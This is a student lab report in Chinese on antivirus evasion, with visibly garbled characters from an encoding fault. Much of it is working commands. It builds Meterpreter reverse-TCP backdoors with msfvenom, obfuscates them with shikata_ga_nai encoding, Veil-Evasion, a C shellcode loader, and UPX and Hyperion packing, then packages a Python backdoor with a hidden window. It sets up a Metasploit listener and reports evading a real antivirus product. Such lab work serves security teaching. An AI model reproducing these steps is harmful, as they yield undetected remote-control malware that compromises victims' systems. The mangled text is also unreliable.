1.實(shí)驗(yàn)內(nèi)容
1.1實(shí)驗(yàn)?zāi)繕?biāo)
理解惡意代碼免殺原理,掌握 msf 編碼器、Veil-Evasion 工具、C+Shellcode 編程等免殺技術(shù),生成能規(guī)避殺毒軟件的惡意程序,并通過(guò)本地殺軟共生驗(yàn)證、跨電腦實(shí)測(cè),確保程序可正常運(yùn)行且成功回連控制端。
1.2技術(shù)原理
具體實(shí)現(xiàn)上,可通過(guò) msf 編碼器混淆 Shellcode 特征、Veil-Evasion 重構(gòu)代碼結(jié)構(gòu) + 加殼工具掩蓋程序原始信息、C 語(yǔ)言作為載體隱藏 Shellcode 等方式達(dá)成免殺,也可組合多種技術(shù)進(jìn)一步降低檢測(cè)率,本質(zhì)都是破壞殺毒軟件的靜態(tài)特征匹配邏輯、規(guī)避動(dòng)態(tài)行為監(jiān)測(cè)規(guī)則。
1.3基礎(chǔ)問(wèn)題
- 殺軟是如何檢測(cè)出惡意代碼的?
- 特征碼檢測(cè),殺毒軟件比對(duì)程序代碼與特征庫(kù),吻合則判定為病毒。
- 啟發(fā)式惡意軟件檢測(cè),程序特征、行為與病毒的相似度達(dá)標(biāo),即判定為病毒。
- 基于行為檢測(cè),單純監(jiān)測(cè)程序運(yùn)行行為,出現(xiàn)惡意行為就判定為惡意代碼。
- 免殺是做什么?
- 免殺是指一種技術(shù),旨在使惡意軟件能夠繞過(guò)或規(guī)避殺毒軟件的檢測(cè)。這種技術(shù)通常通過(guò)各種手段來(lái)掩蓋惡意代碼的真實(shí)性質(zhì),從而避免被安全軟件發(fā)現(xiàn)和攔截。
- 免殺的基本方法有哪些?
- 特征碼修改,通過(guò)修改病毒或木馬的特征碼,使其不被殺毒軟件識(shí)別。
- 源碼免殺,對(duì)有源碼的程序進(jìn)行修改,以規(guī)避殺毒軟件的檢測(cè)。
- 加載器技術(shù),使用加載器將有效載荷與主程序分離,從而實(shí)現(xiàn)免殺。
- DLL操作,通過(guò)對(duì)DLL的加載和操作,使用全局鉤子等技術(shù)來(lái)實(shí)現(xiàn)免殺。
- 混淆與加密,對(duì)上傳的webshell進(jìn)行混淆和加密,以避免被檢測(cè)。
2.實(shí)驗(yàn)過(guò)程
2.1使用msf編碼器
實(shí)驗(yàn)準(zhǔn)備:
- 免殺效果平臺(tái)
- 生成一個(gè)后門(mén)程序(基礎(chǔ)版)
1.在kali中輸入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=2324 -f exe > exp3_20232324.exe生成一個(gè)針對(duì) 64 位 Windows 系統(tǒng)的 Meterpreter 反向 TCP 連接 payload。(參數(shù)在實(shí)驗(yàn)二中有解釋?zhuān)@里就不再贅述了)
2.使用VirScan檢測(cè)該文件的安全性
2.1.1生成exe文件和編碼的exe文件
生成一個(gè)經(jīng)過(guò)編碼處理的 32 位 Windows 系統(tǒng) Meterpreter 反向 TCP 連接 payload后門(mén)程序,并保存為 EXE 文件
①在kali中輸入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.81.132 LPORT=2324 -f exe > exp32111_20232324.exe
-e:指定編碼器
x86/shikata_ga_nai:Metasploit 中常用的 32 位編碼器
-b:指定需要規(guī)避的 “壞字符”
\x00:表示空字節(jié)。空字節(jié)在部分系統(tǒng)或程序中可能被視為字符串結(jié)束符,導(dǎo)致 payload 執(zhí)行異常。
-f:指定輸出文件格式
exe:表示生成 Windows 可執(zhí)行文件。


②在kali中輸入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.81.132 LPORT=2324 -f exe > exp32112_20232324.exe
-i 10 表示指定編碼器對(duì) payload 的迭代編碼次數(shù)為 10 次


2.1.2生成jar文件和編碼的jar文件
生成一個(gè)適用于 Java 環(huán)境 的 Meterpreter 反向 TCP 連接 payload,并保存為 JAR 格式文件。再生成一個(gè)編碼的Java文件。
①在kali中輸入
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=2324 > exp32121_20232324.jar
java:表示該 payload 基于 Java 字節(jié)碼,依賴(lài) Java 虛擬機(jī)


②在kali中輸入
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.81.132 LPORT=2324 > exp32122_20232324.jar

2.1.3生成php文件和編碼的php文件
生成一個(gè)適用于 PHP 環(huán)境 的 Meterpreter 反向 TCP 連接 payload,并保存為 PHP 腳本文件。再生成一個(gè)編碼的php文件。
①在kali中輸入
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=2324 > exp32131_20232324.php生成php文件。


②在kali中輸入
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.81.132 LPORT=2324 > exp32132_20232324.php
PHP 是一種廣泛用于 Web 開(kāi)發(fā)的服務(wù)器端腳本語(yǔ)言,主要作用是在服務(wù)器上處理數(shù)據(jù)、生成動(dòng)態(tài)網(wǎng)頁(yè)內(nèi)容,或與數(shù)據(jù)庫(kù)交互,最終將處理結(jié)果返回給用戶(hù)的瀏覽器


2.1.4分析
- 文件編碼或者不編碼檢測(cè)到的概率相差不大
是因?yàn)榫幋a主要針對(duì)靜態(tài)特征,但動(dòng)態(tài)行為和架構(gòu)特征難以完全掩蓋,因此編碼對(duì)檢測(cè)率的降低效果有限。
- PHP 檢出率遠(yuǎn)低于 EXE/JAR
①PHP 是文本型腳本,毒引擎對(duì) “文本腳本” 的靜態(tài)檢測(cè)難度極高;EXE/JAR:二進(jìn)制 / 字節(jié)碼,特征易被識(shí)別
②EXE/JAR 的惡意行為是 “原生暴露” 的;PHP 的惡意行為是 “間接封裝” 的。
- 為什么在virscan網(wǎng)站jar和exe文件檢測(cè)率相似,但是在virustotal檢測(cè)率會(huì)相差很大。
①VirSCAN 因引擎數(shù)量少、覆蓋范圍有限,可能 “模糊” 了 JAR 和 EXE 的檢測(cè)差異;而 VirusTotal 憑借更龐大的引擎庫(kù)和更全面的檢測(cè)技術(shù),能清晰體現(xiàn)出 EXE和 JAR的本質(zhì)區(qū)別。
②不同同學(xué)實(shí)驗(yàn)時(shí)的 payload 參數(shù)(如LHOST、LPORT)、編碼方式,以及檢測(cè)時(shí)間都會(huì)導(dǎo)致結(jié)果差異。
exejar
2.2veil-evasion
Veil 是一款主要用于網(wǎng)絡(luò)安全滲透測(cè)試領(lǐng)域的免殺 payload 生成框架,其核心功能是通過(guò)對(duì)惡意代碼進(jìn)行混淆、加密、變形等處理,生成能夠規(guī)避殺毒軟件、入侵檢測(cè)系統(tǒng)等安全工具檢測(cè)的攻擊載荷,便于在授權(quán)測(cè)試中驗(yàn)證目標(biāo)系統(tǒng)的防御能力。
2.2.1環(huán)境準(zhǔn)備
1.下載veil工具
在kali中輸入
sudo apt update
sudo apt -y install veil
-y:自動(dòng)確認(rèn)安裝過(guò)程中的所有提示

2.配置或初始化 Veil 工具
(這里起碼等了“十年”,千萬(wàn)不要中途關(guān)掉了,很慢是正常的)執(zhí)行以下命令的目的是確保Veil框架能正常運(yùn)行,為后續(xù)生成免殺payload做好環(huán)境準(zhǔn)備。
在kali中輸入
/usr/share/veil/config/setup.sh --force --silent
setup.sh 是 Veil 工具的配置腳本
--force(強(qiáng)制模式)強(qiáng)制執(zhí)行配置過(guò)程,忽略部分確認(rèn)提示或已存在的配置文件。
--silent(靜默模式)以無(wú)交互方式運(yùn)行腳本,不輸出過(guò)多日志信息,僅在必要時(shí)顯示關(guān)鍵錯(cuò)誤或進(jìn)度。


(終于看到“done!”了,有個(gè)小報(bào)錯(cuò)是在安裝 Python 庫(kù) pefile 時(shí)出現(xiàn)了故障,但問(wèn)題不大,不影響生成這種比較基礎(chǔ)的payload,如果后續(xù)要對(duì)Windows可執(zhí)行文件進(jìn)行結(jié)構(gòu)級(jí)的混淆、修改,缺少pefile會(huì)導(dǎo)致相關(guān)功能失效,此時(shí)影響較大。)
2.2.2使用veil生成可執(zhí)行文件
1.選擇工具模塊
- 在kali中輸入
veil,進(jìn)入veil工具平臺(tái);- 再輸入
use 1選擇Evasion用于生成 “免殺 payload” 的工具模塊

2.選擇載荷種類(lèi)
- 輸入
list,查看載荷種類(lèi)- 再輸入
use 7,選擇c/meterpreter/rev_tcp.py一個(gè)基于C語(yǔ)言實(shí)現(xiàn)的、用于建立Meterpreter反向TCP連接的免殺payload


3.配置生成文件信息
在kali中輸入
set LHOST 192.168.81.132設(shè)置用于接收目標(biāo)主機(jī)的回連的ip地址set LPORT 2324設(shè)置于監(jiān)聽(tīng)連接的端口generate觸發(fā) Veil-Evasion 模塊生成 payloadexp322_20232324設(shè)置文件名

2.2.3檢測(cè)免殺情況
按照上文的路徑/var/lib/veil/output/complied/exp322_20232324.exe,找到程序所在目錄

我們可以看到這里檢測(cè)率為11/48,所以使用veil工具免殺效果較好

2.3使用C + shellcode編程
2.3.1生成C語(yǔ)言格式shellcode
1.生成C語(yǔ)言格式shellcode
在kali中輸入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=2324 -f c
-f c:指定輸出格式為C語(yǔ)言,生成的shellcod 會(huì)以C數(shù)組的形式呈現(xiàn),便于嵌入到C程序中編譯成可執(zhí)行文件。

2.添加主函數(shù)
添加main函數(shù)是為了將“純 shellcode指令”轉(zhuǎn)化為“可編譯、可執(zhí)行、可定制的C程序”。
- 在kali中輸入
vi exp323_20232324.c創(chuàng)建并打開(kāi)一個(gè)新的 C 文件- 粘貼msfvenom生成的 payload 代碼
- 在payload代碼下方,添加用于調(diào)用shellcode的 main 函數(shù):
int main() {
int (*func)() = (int(*)())buf;
func();
}

3.C文件編譯為可執(zhí)行文件
在kali中輸入
i686-w64-mingw32-g++ exp323_20232324.c -o exp323_20232324.exe
i686-w64-mingw32-g++:是MinGW-w64工具鏈中的 C++ 編譯器,用于在Linux環(huán)境下交叉編譯出能在 indows系統(tǒng)運(yùn)行的可執(zhí)行文件。

2.3.2檢測(cè)免殺情況
檢測(cè)率10/48,免殺效果比veil工具和基準(zhǔn)exe文件要好,因?yàn)镃 語(yǔ)言的“底層封裝”隱藏了原始 shellcode 特征,以及使用的i686-w64-mingw32-g++是交叉編譯,特征更難被匹配

2.4加殼工具
加殼工具是對(duì)可執(zhí)行文件如進(jìn)行 “包裝保護(hù)” 的工具,核心是通過(guò)加密、壓縮、混淆等技術(shù),給原始文件套一層 “殼”,既能隱藏文件真實(shí)結(jié)構(gòu),又能實(shí)現(xiàn)保護(hù)或規(guī)避檢測(cè)的目的,常見(jiàn)于軟件保護(hù)和惡意代碼免殺場(chǎng)景。
2.4.1使用壓縮殼UPX
UPX是一款開(kāi)源的通用壓縮殼工具,主要用于壓縮可執(zhí)行文件壓縮后的文件會(huì)改變?cè)继卣鳎赡芾@過(guò)殺毒軟件的靜態(tài)特征檢測(cè)。
1.這行命令用于對(duì)惡意可執(zhí)行文件進(jìn)行upx加殼
upx exp323_20232324.exe -o exp3241_20232324.exe
upx:調(diào)用 UPX 工具的命令。

2.檢測(cè)免殺情況
9/48,免殺效果較好。首先多數(shù)引擎不會(huì)僅因“文件被UPX壓縮”就標(biāo)記為惡意,而是會(huì)嘗試脫殼后檢測(cè)原始文件。UPX壓縮會(huì)改變?cè)嘉募淖止?jié)分,即使脫殼,部分靜態(tài)特征可能因壓縮 / 解壓過(guò)程被輕微破壞。

2.4.2使用加密殼Hyperion
1.將原始文件exp323_20232324.exe復(fù)制到Hyperion工具的工作目錄
在kali中輸入
cp exp323_20232324.exe /usr/share/windows-resources/hyperion/
2.切換當(dāng)前工作目錄到Hyperion的工作目錄
在kali中輸入通過(guò)命令
cd /usr/share/windows-resources/hyperion
3.通過(guò)Wine調(diào)用Hyperion工具
在kali中輸入
wine hyperion.exe -v exp323_20232324.exe exp3242_20232324.exe
wine:在Linux中運(yùn)行Windows程序的工具
hyperion.exe:Hyperion加密殼的可執(zhí)行程序。
-v:Hyperion的詳細(xì)輸出參數(shù),執(zhí)行時(shí)會(huì)顯示加密過(guò)程的日志信息。
exp323_20232324.exe:待加密的原始文件。
exp3242_20232324.exe:加密加殼后的輸出文件名。

4.檢測(cè)免殺情況
19/48相較于壓縮殼,免殺效果差很多。
- Hyperion 的解密代碼通常包含反調(diào)試、內(nèi)存解密等行為,這些行為是安全引擎重點(diǎn)監(jiān)控的 “惡意殼特征”,即使未脫殼,引擎也可能直接因這些行為標(biāo)記文件。
- Hyperion是惡意代碼常用的加密殼,容易被識(shí)別出。
- 除此之外脫殼難度低,原始特征易暴露。

2.5msfvenom工具與加殼技術(shù)組合使用
1.使用msfvenom工具來(lái)生成一個(gè)攻擊載荷
- 使用msfvenom生成一個(gè)適用于Windows系統(tǒng)的Meterpreter反向連接payload
- 通過(guò)指定編碼算法shikata_ga_nai進(jìn)行10次迭代編碼
- 去除空字節(jié)\x0
- 最終以C語(yǔ)言數(shù)組格式輸出到exp3251_20232324.c文件中
在kali中輸入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.81.132 LPORT=2324 -f c > exp3251_20232324.c

2.添加main函數(shù)
使用vi編輯器,進(jìn)入exp3251_20232324.c文件,添加以下主函數(shù)
int main(){ int (*func)() = (int(*)())buf; func(); }


3.將C文件編譯為可執(zhí)行文件
在kali中輸入
i686-w64-mingw32-g++ exp3251_20232324.c -o exp3251_20232324.exe

3.使用upx加一層壓縮殼
在kali中輸入
upx exp3251_20232324.exe -o exp3252_20232324.exe

4.使用hyperion加一層加密殼
在kali中輸入
wine hyperion.exe -v exp3252_20232324.exe exp3253_20232324.exe

5.檢測(cè)免殺效果
- virscan檢測(cè)率為18/48,可以看出免殺效果并不好,主要原因還是在于我使用了加密殼,Hyperion是惡意代碼常用的加密殼,其加密算法、殼代碼的特征已被多數(shù)安全廠商加入 “惡意殼特征庫(kù)”。
- 殺毒軟件沒(méi)有識(shí)別出來(lái)是因?yàn)槲疑傻奈募赡芡ㄟ^(guò)編碼混淆、加殼、結(jié)構(gòu)修改等免殺手段,恰好繞過(guò)了該殺毒軟件的檢測(cè)邏輯。 并且“定制化免殺樣本”,傳播量小、特征獨(dú)特,可能未被納入該殺毒軟件的“重點(diǎn)檢測(cè)名單”。


不使用加密殼,virscan檢測(cè)率為4/48

2.6回連實(shí)測(cè)
windows11 火絨安全軟件6.0.7.14
- 最后回連的后門(mén)程序是沒(méi)有使用加密殼的exp3252_20232324.exe,但是只要我開(kāi)始運(yùn)行之后,殺毒軟件就能立馬發(fā)現(xiàn)。
- 而后我又嘗試了使用老版本的windows虛擬機(jī)實(shí)驗(yàn),但因生成的可執(zhí)行文件依賴(lài)MinGW的運(yùn)行時(shí)庫(kù)libgcc_s_dw2-1.dll,而目標(biāo)Windows系統(tǒng)中沒(méi)有該庫(kù)。
- 所以我最后采取的方法是通過(guò)python生成一個(gè)后門(mén)程序,然后進(jìn)行回連。
1.生成一個(gè)基于Python的反向TCP Meterpreter后門(mén)腳本
在kali中輸入
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=2324 -f raw >20232324_shellcode_python.py
-p:指定要生成的Payload類(lèi)型。
python:Payload基于Python語(yǔ)言編寫(xiě),可嵌入Python腳本;
f raw:指定Payload的輸出格式為“原始raw”,確保生成的內(nèi)容可直接寫(xiě)入Python文件,無(wú)額外格式干擾。

2.將后門(mén)腳本打包成可執(zhí)行文件
- 安裝Python(安裝時(shí)勾選 “Add Python to PATH” 選項(xiàng)),我選的是3.11.0版本,版本太高容易與生成的文件不兼容。
- 安裝PyInstaller,在cmd輸入命令
pip install pyinstaller- 將后門(mén)腳本打包成可執(zhí)行文件,在cmd輸入命令
pyinstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232324_shellcode_python.py
-F:打包后只會(huì)生成一個(gè)獨(dú)立的.exe 文件,而非多個(gè)文件和文件夾.
-w:指定 “窗口模式”。運(yùn)行生成的.exe 時(shí)不顯示命令行黑窗口(避免暴露程序運(yùn)行痕跡,適合后門(mén)等不需要控制臺(tái)輸出的場(chǎng)景)。
以下 4 個(gè)模塊是后門(mén)腳本依賴(lài)的,必須手動(dòng)包含,否則打包后的 .exe 運(yùn)行時(shí)會(huì)報(bào)錯(cuò) “ModuleNotFoundError: No module named 'xxx'”:
--hidden-import=getpass:確保包含 getpass 模塊,用于隱蔽地獲取用戶(hù)輸入。
--hidden-import=code:確保包含code模塊,用于動(dòng)態(tài)執(zhí)行代碼。
--hidden-import=platform:確保包含platform模塊,用于獲取目標(biāo)主機(jī)的系統(tǒng)信息。
--hidden-import=shlex:確保包含 shlex 模塊,用于解析命令行參數(shù)。
20232324_shellcode_python.py:這是要打包的Python源文件的文件名。


3..配置監(jiān)聽(tīng)信息
Metasploit框架中配置并啟動(dòng)一個(gè) “反向連接監(jiān)聽(tīng)器” 的完整流程,等待目標(biāo)主機(jī)上的Python 后門(mén)程序動(dòng)連接,從而建立控制會(huì)話。在kali中輸入以下命令:
msfconsole
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.81.132
set LPORT 2324
exploit

4.運(yùn)行20232324_shellcode_python.exe

使用殺毒軟件掃描也沒(méi)有被發(fā)現(xiàn),好耶!

3.問(wèn)題及解決方案
-
問(wèn)題1:為什么exe文件和jar文件在virscan檢測(cè)率相同
- 問(wèn)題1解決方案:①VirSCAN 因引擎數(shù)量少、覆蓋范圍有限,可能 “模糊” 了 JAR 和 EXE 的檢測(cè)差異;而 VirusTotal 憑借更龐大的引擎庫(kù)和更全面的檢測(cè)技術(shù),能清晰體現(xiàn)出 EXE和 JAR的本質(zhì)區(qū)別。②不同同學(xué)實(shí)驗(yàn)時(shí)的 payload 參數(shù)(如LHOST、LPORT)、編碼方式,以及檢測(cè)時(shí)間都會(huì)導(dǎo)致結(jié)果差異。
-
問(wèn)題2:為什么使用加密殼后檢測(cè)率為18/48卻沒(méi)有被識(shí)別出來(lái)
- 問(wèn)題2解決方案:殺毒軟件沒(méi)有識(shí)別出來(lái)是因?yàn)槲疑傻奈募赡芡ㄟ^(guò)編碼混淆、加殼、結(jié)構(gòu)修改等免殺手段,恰好繞過(guò)了該殺毒軟件的檢測(cè)邏輯。 并且“定制化免殺樣本”,傳播量小、特征獨(dú)特,可能未被納入該殺毒軟件的“重點(diǎn)檢測(cè)名單”。
-
問(wèn)題3:回連失敗
- 問(wèn)題3解決方案:?jiǎn)渭儝呙璨粫?huì)被殺毒軟件發(fā)現(xiàn),但只要一運(yùn)行,殺毒軟件就能立馬發(fā)現(xiàn)(檢測(cè)率為4/48)。我嘗試在舊版本W(wǎng)indows虛擬機(jī)上運(yùn)行,但出現(xiàn)了缺少庫(kù)的問(wèn)題。所以最后嘗試生成python后門(mén)程序。(沒(méi)有被發(fā)現(xiàn)的原因是:靜態(tài)上,其文本格式無(wú)二進(jìn)制特征碼,加混淆或打包隱藏依賴(lài)后更難被特征匹配;動(dòng)態(tài)上,無(wú)明顯惡意行為或帶反沙箱邏輯,且殺軟對(duì) Python 腳本的監(jiān)控優(yōu)先級(jí)較低,最終被放行。)
4.學(xué)習(xí)感悟、思考等
本次實(shí)驗(yàn)除了最后運(yùn)行并回連,都較為順利。我學(xué)會(huì)了各種各樣增強(qiáng)免殺效果的方法,如編碼(其實(shí)效果不是很強(qiáng))、生成不同格式的文件(php,c,py,exe)、加殼,對(duì)msf工具的使用也越來(lái)越熟悉。
不同的檢測(cè)網(wǎng)站,因其記錄庫(kù)不同,所以檢測(cè)率并不是非常精確,不能全面的展示免殺效果。而且并不是使用了某一個(gè)特別好的免殺方法,就不會(huì)被發(fā)現(xiàn),比如加密殼,只要?dú)⒍拒浖袕V泛記錄庫(kù)就能被識(shí)別出來(lái)。
另一個(gè)給我的直觀感受是殺毒軟件卻是很有用,雖然單純的快速掃描無(wú)法找到已有的后門(mén)程序,但是只要我開(kāi)啟了實(shí)時(shí)保護(hù),我從虛擬機(jī)傳輸新的后門(mén)程序或者運(yùn)行原來(lái)的后門(mén)程序都會(huì)被識(shí)別出來(lái)。




jar


浙公網(wǎng)安備 33010602011771號(hào)